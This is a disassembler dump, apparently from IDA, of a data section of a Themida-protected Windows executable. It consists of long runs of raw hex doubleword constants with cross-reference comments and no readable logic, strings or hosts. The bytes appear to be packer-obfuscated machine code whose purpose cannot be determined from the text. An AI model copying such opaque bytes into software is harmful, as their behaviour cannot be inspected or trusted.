		dd 6E893h, 6DE30000h, 9240181Dh, 10359D31h, 0BF5E0607h
		dd 4E68E27Ah, 20D585FFh, 0FFF90607h, 720D5B5h, 0B5035106h
		dd 6071851h, 6995FF5Fh,	0BF06070Dh, 44409A6Eh, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 3841A775h, 53006AE0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 66287E6Eh, 13DBE781h, 0B870Fh, 0BD890000h
		dd 6072051h, 0B2A030BFh, 1577BF75h, 8D895688h, 6071F0Dh
		dd 14E5BD8Bh, 81600607h, 0B5E9B8D3h, 91858B2Ch,	89060706h
		dd 70E199Dh, 850F6106h,	0Ch, 10E5B58Bh,	0B5290607h, 6073119h
		dd 0BE8h, 95474C00h, 4CF16F78h,	0E2F58A48h, 0A5B86660h
		dd 0CE861C0h, 0A0000000h, 7FD36481h, 0CDBA35ACh, 0FB823F3h
		dd 0DF81F7B7h, 679CC4D1h, 0E7815F5Fh, 4F907E94h, 0FF1BD31h
		dd 0B52B0607h, 6070069h, 0EE9h,	2F16C700h, 0DBCAC1B6h
		dd 167B6B88h, 0BF17F8BBh, 40C454DEh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0CAC35646h,	0E91A89DDh, 0FFFFF809h
		dd 0A8B0Fh, 810F0000h, 4, 3560BE66h, 0CE9C18Bh,	0C9000000h
		dd 93C9FC04h, 0E033791Ah, 0FB89965h, 88h, 4EB00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5ACFC351h, 6A042F94h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EC3BC356h
		dd 9C7B1918h, 0F6B5DEBBh, 8DF7B70Fh, 718B185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 499F02D7h, 0C745FD53h, 95898962h, 6072B85h, 0F38B6690h
		dd 11E850h, 2B890000h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h
		dd 5F11C11Fh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 6A9D24h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E9C35242h,	8B663706h, 6A006AF0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0C68BC356h, 4CFD58CFh, 858D8994h,	60AF307h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8AC35040h
		dd 0B6932555h, 8905C083h, 72345BDh, 4895006h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 39B5231Ah, 0E8060719h, 14h, 980DC3BCh, 0AD49F142h, 47248D34h
		dd 0ED1A9F7Dh, 209B4A9Fh, 0BE8h, 0E388E300h, 2CAE4F0Ah
		dd 0C9A2AF6Bh, 22459D01h, 5E5F0607h, 6A5F53h, 8BEEBE66h
		dd 8E9h, 853C1200h, 8EC48009h, 6A006A4Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 947EC352h
		dd 611AEB23h, 0FFF54929h, 71E3D95h, 2EBF6606h, 0D59D8D12h
		dd 89060A93h, 707958Dh,	6AD3FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7682C352h
		dd 0F2E70117h, 0D18529F2h, 57060706h, 0C859D01h, 0FF5F0607h
		dd 72F5985h, 81666006h,	8918E8DEh, 7069985h, 1BE96106h
		dd 0E8000008h, 0
		dd 11ED815Dh, 6A060AF3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 47E7C351h, 0A5BD0B06h
		dd 8106070Fh, 720D5BDh,	7D006h,	7A860F00h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 424EC353h, 0CD07A97h, 8B91A976h, 726199Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 3B01E315h, 4A602DCh,	0D48BE66h, 300DBD89h, 0E3810607h
		dd 100h, 2D51BD2Bh, 0DB0B0607h,	0A8850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8359B9C3h, 0F602D83h, 28Ch, 0E9F08B00h, 9, 668B892Ch
		dd 4F82D914h, 0BD836136h, 60AF0ECh, 0B840F00h, 89000000h
		dd 70645B5h, 0A2E906h, 85C70000h, 60AF0ECh, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4AC35040h, 4138D80Bh
		dd 0E9804BABh, 70h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0FDC35646h, 831778EDh, 663902E1h, 85C7F38Bh
		dd 60AF0ECh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3DC35343h
		dd 5B6D49B1h, 14E9F2B4h, 12000000h, 0B2206400h,	81E6505Dh
		dd 3587ED72h, 86E91A23h, 0BE55EF65h, 7E550E89h,	26199D8Dh
		dd 81660607h, 81F744C7h, 0FFFEFF23h, 6850FFFh, 8B000000h
		dd 70185BDh, 0DB8C6606h, 0F6FFB70Fh, 840F04C3h,	4Bh, 7E8h
		dd 5EEFE800h, 824AB473h, 13D9B58Bh, 0FF5E0607h,	729ED95h
		dd 98C2BF06h, 66504D6Dh, 89C0F4BFh, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 761B4EC3h
		dd 5DB58BBEh, 0E906071Ah, 3D8h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 90C35242h, 0B70FDA53h, 0E900B0F2h
		dd 10h,	4D01BD26h, 15F54F97h, 0FD1DB01Dh, 0DFEA313Fh, 6A70E6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 9F92FFC3h, 1B458589h, 71E40607h, 0B1AB27BFh,	0D8B60F6Fh
		dd 11558D29h, 6BA0607h,	1000000h, 710D185h, 0E8C38B06h
		dd 0Bh,	7BFBE029h, 0EEDD6106h, 964A829h, 72979BDh, 0E8C15E06h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 453E7D74h, 6660601Ah, 61C816BFh,	7E852h
		dd 6440000h, 9952C624h,	61595ECFh, 6AE2F766h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C195C357h, 0F5B6EB2Fh, 55BD8B46h, 2B06072Ch, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 75D27C18h, 85293D69h, 6070AE9h, 59BE5093h, 93291BA2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 35C35747h
		dd 0E326C949h, 0FFA01AC8h, 720D5B5h, 0A9BD8B06h, 0FF06070Ch
		dd 70D6995h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 11E9F7h, 90770000h, 3688A078h, 46EE5015h
		dd 51E804C5h, 0B0DDF851h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 21957610h
		dd 6A70E669h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0E992C356h, 21DD32CEh,	0BE470FA1h
		dd 49D515BFh, 18F0F50h,	0FC000000h, 8B6671E4h, 0F613CF8h
		dd 1E783h, 4D958900h, 0E8060733h, 8, 0DDA8084Bh, 0EF1924AFh
		dd 19459531h, 0F5F0607h, 0DF81D8B6h, 6B53D4F6h,	6BAh, 0AE900h
		dd 4D480000h, 25AB6B58h, 77591529h, 850FC38Bh, 0
		dd 0FE9h, 9F2E8100h, 81F10A85h,	93CF64Bh, 0E49E6129h, 104E8C1h
		dd 71DB595h, 0E2F76606h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 92C35040h, 0FB860D9h,	8B66FEBFh, 6AD82BF3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 3DF4C350h, 8CC93F05h, 0E635BE66h,	52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0D82BDBD4h, 116880Fh, 0B58B0000h, 6070291h, 7B9h, 8D896000h
		dd 6070C05h, 8F03D181h,	666133ADh, 83215DBFh, 0BD8B00C1h
		dd 607048Dh, 304D8D29h,	0D93B0607h, 0E2860Fh, 0B5890000h
		dd 6070899h, 81D98C66h,	0F2F166D6h, 4C1F672h, 0C6840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0CBBCD7C3h, 0FF82BBB0h, 729ED95h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 6D1A1F14h, 45BD2BAEh, 5B06070Ch, 0B8E0Fh, 830F0000h
		dd 5, 4BC8E5BEh, 6AC32B23h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 23CDC350h, 71951B5h
		dd 7E806h, 0FC680000h, 0BB9F644Dh, 5EF08BF3h, 8343Dh, 29860F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0CF38C356h, 0AE91Ah, 95010000h
		dd 60709D5h, 0F78BC08Bh, 0D88BC38Bh, 0C7F78B66h, 71EE585h
		dd 9635DF06h, 7DBD8B32h, 8B06070Bh, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0EA2A080Dh
		dd 77E6DE3Ah, 20D5BD81h, 7D00607h, 850F0000h, 46h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 94C35545h, 85FF96BBh
		dd 60720D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	2DC35141h, 8B1C2C79h, 0B5FF9C6Bh, 60720D5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C6C35646h, 650F2F65h
		dd 0CD10BB2Eh, 6995FFE1h, 6A06070Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 4ABC355h
		dd 2988E406h, 7037585h,	6A9006h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 6085DFC3h, 9E9h, 0D4831C00h
		dd 0D81DBC9h, 16103FEh,	70AB195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 4DE781FCh
		dd 0BF3A7B27h, 49D7E12Bh, 0C2D68166h, 3870F99h,	66000000h
		dd 8C0FFE8Bh, 9, 19C1BD89h, 8B660607h, 0C8C0FF9h, 89000000h
		dd 700DD8Dh, 1DBD2306h,	6A060711h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 270EC350h
		dd 0AF3A6563h, 29D6B23Bh, 70E6D85h, 65F78106h, 600F6414h
		dd 12E8h
		db 0
byte_57C265	db 92h,	25h, 6Ah	; DATA XREF: Themida_:0053EA54o
		dd 0D72FBD3Ch, 191D126h, 8B2E75D9h, 0FF9EEADh, 88h, 0FB8B5E00h
		dd 2295B501h, 0BE610607h, 138733B4h, 7E8h, 53200B00h, 0A9B049EAh
		dd 1025B58Bh, 0F88B0607h, 53006A5Eh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E90E7BC3h
		dd 0FFFFF807h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	93C35747h
		db 0BFh, 0, 0B4h
byte_57C2E3	db 20h			; DATA XREF: Themida_:0053E810o
		dd 0C18BFC28h, 58B0Fh, 8CBE0000h, 0EB54B6B1h, 4, 12E900h
		dd 0E3CB0000h, 7388D31Fh, 9A1BB2BEh, 0B151C820h, 715A9A55h
		dd 18B1858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0AEA0AEC3h, 0D678F6BFh, 8E95040h
		dd 0F3000000h, 4F334E99h, 8997CBB1h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 345E36C3h
		dd 9BD8BE4h, 6A060705h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0DE27C38Eh, 0A433FDC9h
		dd 6A006A0Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8BCAC353h, 71DA1B5h, 1F858D06h
		dd 8B060AFDh, 72091BDh,	5C08306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 5DC35747h, 2F299FA2h, 0B113BF90h
		dd 60501FF9h, 5E505250h, 0BB66310Fh, 585A4F79h,	0B8D0Fh
		dd 6E90000h, 1A000000h,	82D6AA2Fh, 8B9061B6h, 8B006AF1h
		dd 718FDBDh, 6A006A06h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 9807C355h, 44239F5Ch
		dd 3D95FF51h, 6A06071Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0AAC350h, 0F79F508Ch
		dd 0F960E34Ah, 1DDD9589h, 0F610607h, 82h, 0D59D8D00h, 6A060A93h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 35DCC352h, 0F859EC6Ah, 0F3BF0F95h, 0D3FFF08Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 62C35040h
		dd 0BA5A5DCCh, 0BD03991Ch, 60718E9h, 2F5985FFh,	0BD8B0607h
		dd 6072981h, 19D9BD8Bh,	31E90607h
		db 7, 2	dup(0)
byte_57C4E3	db 0E8h			; DATA XREF: Themida_:0053D468o
		align 8
		dd 29ED815Dh, 89060AFDh, 71919BDh, 0D5BD8106h, 0D0060720h
		dd 0F000007h, 14286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 6E4DAE1Eh, 85019EABh
		dd 6070CCDh, 2E519D8Bh,	9D290607h, 6072AC1h, 23759589h
		dd 0E3810607h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 89C35646h, 0BFE8B2Ch,	5F850FDBh, 0F000000h
		dd 198Ch, 14E900h, 96EB0000h, 0F7A6C779h, 41DF9Bh, 0D84F64FDh
		dd 9FE06D2Ch, 85298E47h, 6070495h, 0FB36BD83h, 0F00060Ah
		dd 1084h, 599D0900h, 0E9060702h, 4Bh, 0F1BF0F50h, 3685C75Fh
		dd 1060AFBh, 0F000000h,	85h, 0E9F78B00h, 2Fh, 2B61B589h
		dd 85C70607h, 60AFB36h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B9C35545h
		dd 8D135C2Ch, 72E519Dh,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 14E85205h, 20000000h
		dd 1B4057C7h, 537A4070h, 0BDD407E4h, 5D04D8F7h,	0E9C0C442h
		dd 5, 0BD1CFE9Ch, 815F5F4Fh, 0FFFEFF23h, 819529FFh, 66060718h
		dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D89A1C3h, 6070C35h, 0F04C3F6h, 6284h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 778C3536h, 8006BFE0h, 96BF4656h, 0FF6E85F4h,	729ED95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 8BF78B33h, 0FA8B50F1h, 0F240489h, 68Fh
		dd 0DDBD0B00h, 0E906071Fh, 31Fh, 0E95700B0h, 6,	415BC8AAh
		dd 0E65F4DE4h, 57006A70h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 67A03D31h, 133C007Ah
		dd 0E1952929h, 89060719h, 7212595h, 6A71E406h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 526CC351h, 0C7B63D17h, 8D898B9Dh, 6070DFDh, 0FD8B60Fh
		dd 8Dh,	71950100h, 0BA06072Ch, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 15C35242h, 1CB31F83h, 0F457640h
		dd 0C38BF1BFh, 0B05B589h, 0E8C10607h, 68B0F04h,	8B000000h
		dd 729DDB5h, 0E2F76606h, 222DB58Bh, 85310607h, 6070FE1h
		dd 820FD82Bh, 6, 0B09B503h, 81660607h, 937C56EEh, 13E9h
		dd 96319300h, 9311D537h, 1C2EACE2h, 9A23B5CDh, 37A17998h
		dd 0F18B5350h, 0B5FF935Eh, 60720D5h, 0D6995FFh,	8D010607h
		dd 6070249h, 70E600B0h,	6199589h, 71E40607h, 0C4DF8166h
		dd 0F613C67h, 1F683h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 6BDB0B6Bh, 0E975AA4Ch
		dd 0Bh,	0D98C175Bh, 0E3C72C8Ah,	66081CFBh, 0B60FF38Bh
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0F5395FA1h, 0CA082D5Fh, 6BAF9h, 0B58B0000h
		dd 6072E65h, 0C38BF08Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0CDC35646h, 60AD3650h, 0CE8h,	54794500h
		dd 0D097786Dh, 7E19B5A3h, 586160A1h, 61FB8B66h,	2F55BD23h
		dd 0E8C10607h, 8D316004h, 6072931h, 0E2F76661h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 27C35545h, 2BEF949Ah
		dd 91BD2BD8h, 58060701h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 80C35747h, 9D7F634h, 719CD8Dh, 0FD82B06h
		dd 0EA88h, 38D0F00h, 0F000000h,	7B9F7B7h, 83000000h, 0F0BE00C1h
		dd 3B4EA5A9h, 0CC860FD9h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4F83C356h
		dd 0CFB73981h, 0A1A4F6C3h, 0D98C66FCh, 0C1F6F28Bh, 70840F04h
		dd 0E9000000h, 9, 999C219Eh, 178D7A1h, 0ED95FFC2h, 0F8060729h
		dd 5D85895Bh, 2B060730h, 0FE9C3h, 0C7FC0000h, 54F633h
		dd 8BAAA216h, 7F5FB749h, 8343D58h, 860F0000h, 33h, 0C798D89h
		dd 50E90607h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0FAC5C357h,	78A726D5h
		dd 800FF1h, 8B000000h, 56006AC0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 5DD7AC01h, 0E58D89E3h
		dd 8B060701h, 6AD88BC3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0F18AC351h,	0FE373901h
		dd 1985C705h, 31060726h, 0F1FCFC3h, 0F85h, 0AE900h, 0AA4B0000h
		dd 0DA2F8A1Ah, 5DE39123h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 346005C3h, 0FEFE6E16h
		dd 0C681730Eh, 27681E24h, 20D5BD81h, 7D00607h, 850F0000h
		dd 20h,	0A75B58Bh, 85FF0607h, 60720D5h,	0FE9h, 0B2E6F300h
		dd 16280DD3h, 0BB38723Ah, 8E909DCAh, 20D5B5FFh,	0BF660607h
		dd 95FFCD9Fh, 6070D69h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0A1C35242h, 0C710D554h, 78F78166h, 6A9004h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0F78271C3h, 8BA5FED7h, 70FA1B5h, 0D9D8906h, 60060703h
		dd 0D95BD8Bh, 958B0607h, 6072B9Dh, 22E9958Bh, 6A610607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 57F3C355h, 0CD7B983Ch, 6ABD2Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 93CCB8C3h
		dd 0BC8FF90Fh, 89F88BC3h, 7132585h, 0B70F6006h,	559589C7h
		dd 61060730h, 9E9h, 8B586D00h, 0B85D627h, 0B501C6EDh, 60702E1h
		dd 0BE9h, 74682A00h, 5BC362B1h,	9F890832h, 2E5DB58Bh, 0CE90607h
		dd 27000000h, 1164CF02h, 0B7C0C10Ch, 8934241Ch,	7002585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 217341B0h, 88D0Fh, 8B510000h, 70301BDh
		dd 4E95E06h, 6AFFFFF9h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0B716C353h,	2FFF222h
		dd 8AFB2137h, 1B89BD33h, 8D890607h, 6072C6Dh, 6D4FBF66h
		dd 8DDF04EBh, 0E1E964AFh, 0CC000005h, 0CE750A9Bh, 0C76E03A2h
		dd 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh, 31C4F7B2h, 2DC8F59Ch
		dd 24BFF198h, 1DB8E88Fh, 5F4DBB88h, 4398EDEEh, 2C502239h
		dd 34C269FCh, 0F2259684h, 9D7049A3h, 0E67FB2B3h, 0E077A750h
		dd 0E984B239h, 7908A942h, 0BBC2AC47h, 0AA51E414h, 0AD54F323h
		dd 0B45BFA26h, 0C168FB2Dh, 0C86F0E3Ah, 54D05E17h, 0FD2BF588h
		dd 0FBA43ACDh, 0ED862DC8h, 2355FC03h, 2254FB90h, 997A35C7h
		dd 9F401ACEh, 0A94471F8h, 0AE497B02h, 0B5508007h, 69B74A0Eh
		dd 27F13AADh, 972CC7F9h, 8F25C0F0h, 901FB6E6h, 8922C964h
		dd 4FF8869Fh, 569C8621h, 49A39FE8h, 0C269FC2Ch,	0B5271561h
		dd 0FE8DBF65h, 0DD8E35D0h, 2F1A1A24h, 4F8648D6h, 7919AEC4h
		dd 1D07A2D0h, 7229h, 0FC2C8D00h, 8BF6C269h, 6F49A3F2h
		dd 0FC60816h, 0CD19AEC0h, 0Ah, 13F472F5h, 76BC3E54h, 2CC08Ch
		dd 0F626CF65h, 33181397h, 62036FDBh, 28D15F78h,	74755FFAh
		dd 7F06AD48h, 6F1FB550h, 0A32C1081h, 0A5935B49h, 49A32C34h
		dd 210BAC7Fh, 67B14408h, 5CF28DB9h, 0FEE887B3h,	6EA049F7h
		dd 73A52CD3h, 0EFD63FE0h, 6DEC5F6Ch, 1F4F503Ah,	2C81F388h
		dd 0AF4E7AF9h, 27CE6F08h, 32D974A0h, 0D07EC881h, 0C16F049Dh
		dd 0F5F8F3Eh, 0D26109B5h, 0CA630AA3h, 18AFDFE0h, 21BCEA71h
		dd 2FF9DC7Ah, 0AF313CA9h, 8D9E19h, 2C020000h, 33C168F9h
		dd 16BD588Ah, 6492937Dh, 0CB5E22C9h, 5A0D37Dh, 0BA39EC6Fh
		dd 0E96F3419h, 0A3718AFBh, 6102D549h, 96C97077h, 71A71806h
		dd 1FF249A3h
		dd 0A049D77Eh, 0E8E9D36Eh, 0DB7920B9h, 3DA82EF8h, 8B19AF3Fh
		dd 6E15B0E2h, 87F7EBD5h, 1F000000h, 0BB24376h, 14B3E372h
		dd 1EEAD46Dh, 3CA0F92Ch, 4C371CEEh, 10973EDFh, 159C43DEh
		dd 1EA54CE7h, 25AC53F2h, 1FB85FF2h, 9AA26CA7h, 82DD7169h
		dd 0F36B0CABh, 8DC06EB8h, 2CED5FF4h, 30BE6500h,	0F2219280h
		dd 996C49A3h, 0F1FB69AFh, 0C3F49A3h, 194BD279h,	6D26D77Eh
		dd 727863A3h, 588AF6EFh, 8A2319C3h, 0F72B9435h,	0D22D1738h
		dd 0FD2AD344h, 0C357A398h, 14B5F769h, 91EAD46Dh, 19AF2944h
		dd 196h, 0FE2CFA00h, 535BC63h, 1760CB72h, 406F1809h, 7B65FEA5h
		dd 1CB14C7Ah, 3DD3CB53h, 0A309D54Fh, 0FC2FF047h, 8829C269h
		dd 0B5A353E1h, 439CD944h, 0D1D2BC8Fh, 0ED7006A1h, 63C3EAE3h
		dd 0BAC1AB7Fh, 9D44E313h, 9BFD66D1h, 0B482BD43h, 9FCD5A8Ah
		dd 1DCD6304h, 9BFDBE2Fh, 4C360943h, 0D76E9E45h,	0DE79A930h
		dd 43CD8637h, 7D12A5D5h, 5FF626CFh, 3FB61FB8h, 0E772AF6Ch
		dd 7C59B29Ch, 5E1FB619h, 192h, 877525C2h, 49A3F216h, 81A48E61h
		dd 7D6B01F9h, 47A2F9CFh, 9220C79Ah, 751CB7E9h, 881B4DDCh
		dd 5D5E48E1h, 5E059A2Dh, 43B4A22Eh, 8E439CE9h, 0E34652BBh
		dd 0A61E7AB2h, 0A7D75E05h, 8EBC2D1Bh, 3407439Ch, 5F4DFD93h
		dd 439C8DEEh, 637C6639h, 6D14ADDCh, 8E80F1DFh, 0F8CB439Ch
		dd 0F59C3769h, 0D9A5406Eh, 224EF846h, 7029E283h, 0AD4878A6h
		dd 8FC16A18h, 0CAB44DF4h, 0B6246471h, 7B761Fh, 0ADA0000h
		dd 0BF98F83h, 49A3F2EAh, 4EAFDE87h, 1FA42444h, 0AF56F7D1h
		dd 63CF034Eh, 0EE8F34FFh, 436F0A04h, 0D42223F6h, 16A44BECh
		dd 42077866h, 1D4B49A3h, 0BA42DB82h, 46B7FDE7h,	6A49A342h
		dd 0F19A8F99h, 1D402AC5h, 0EC85B496h, 750BAC45h, 200E9ECCh
		dd 49A342AFh, 0DF8627FAh, 2072DD46h, 0A7136FD4h, 8205B5BDh
		dd 0BD5C4CFCh, 0B5FBE53Eh, 49A33B94h, 36D76C3Fh, 96h, 9C820AACh
		dd 942DD46Dh, 86B45DF3h, 0BF901EBh, 47A2EE99h, 55F023E4h
		dd 806E1EB4h, 439CEE0Fh, 0E38A2553h, 5EFC24Ah, 0A23565ECh
		dd 9F36660Dh, 0EE742CF8h, 331B439Ch, 0D3BD588Ah, 5080AE78h
		dd 0EF7220B5h, 92AB94CBh, 6F927CA1h, 9B0CFAE7h,	5439CEFh
		dd 9FCFB8Ah, 0F6C95197h, 0B1D1BF55h, 58419700h,	2757DE85h
		dd 34D570A2h, 0A92C228Dh, 0C4DD6E6Dh, 9644E5Ch,	6F67EF3Fh
		dd 26CBEBD9h, 0AA723B8Ch, 86264BBCh, 299A8837h,	74378626h
		dd 0A54619A1h, 75259E10h, 0A3F21687h, 0A48E6149h, 6B01F981h
		dd 0F25CCDBBh, 0D4A749A3h, 0D77E1945h, 5E4C543Eh, 479EEE3Eh
		dd 61F424E5h, 53812AC0h, 8E7811B8h, 5FBEEE75h, 2DFFA95Fh
		dd 0C358F956h, 0B259EC1Ch, 33CBB8E6h, 62AC3F25h, 2454FDADh
		dd 0CB4CBD91h, 0D697E0F3h, 0CE670EA7h, 1242432Dh, 8030DE73h
		dd 0F3CB2192h, 0FF705EE0h, 4AE0F3CAh, 861CEF77h, 0F3CB2798h
		dd 0B59F72E0h, 4AF184B4h, 63F994C3h, 1EB8ABAh, 4877DE8h
		dd 0CBFDCB23h, 8FF89138h, 3642571Ch, 35C0A248h,	6AC5AF50h
		dd 0B54272DCh, 0D62B2386h, 4426CA2Bh, 0C263FCA3h, 0BF56862Dh
		dd 0B34E8029h, 7089730Ch, 14EFh, 405E6500h, 0F231A290h
		dd 0A97C49A3h, 0CD7F4D40h, 6953D7EBh, 6AFB2C9Dh, 790C3CC3h
		dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
		dd 0B14C7A01h, 0B857830Ah, 89526711h, 4C281E2h,	81000000h
		dd 4EAh, 24148700h, 2404895Ch, 43D968h,	240C8900h, 560D68h
		dd 243C8900h, 1167BA52h, 0F9B91AC9h, 1EB41F2h, 24148BD1h
		dd 4C481h, 8B540000h, 0C481243Ch, 4, 5FBE5651h,	31349364h
		dd 5E042474h, 8108478Fh, 645F0877h, 34FF3493h, 0C4835F24h
		dd 2434FF04h, 4C48159h,	0E9000000h, 0FFFC734Fh,	0BE61499Dh
		dd 42503990h, 0F1DFCB79h, 0B09C3B8h, 0FFC50306h, 0DAD6A3E0h
		dd 18DB997Dh, 0DBBADE3Eh, 9D180B47h, 95D6AC22h,	629C2123h
		dd 3A9E621Fh, 0B94C5351h, 1BFEAC27h, 7414A96Dh,	0E5AB3F5Eh
		dd 0B89B0D48h, 0B01C5C1Ch, 0E72FE213h, 0CA900F10h, 0D4787E64h
		dd 552CDF6Ch, 167C0A02h, 3934232Eh, 1403C126h, 2871AD6Ch
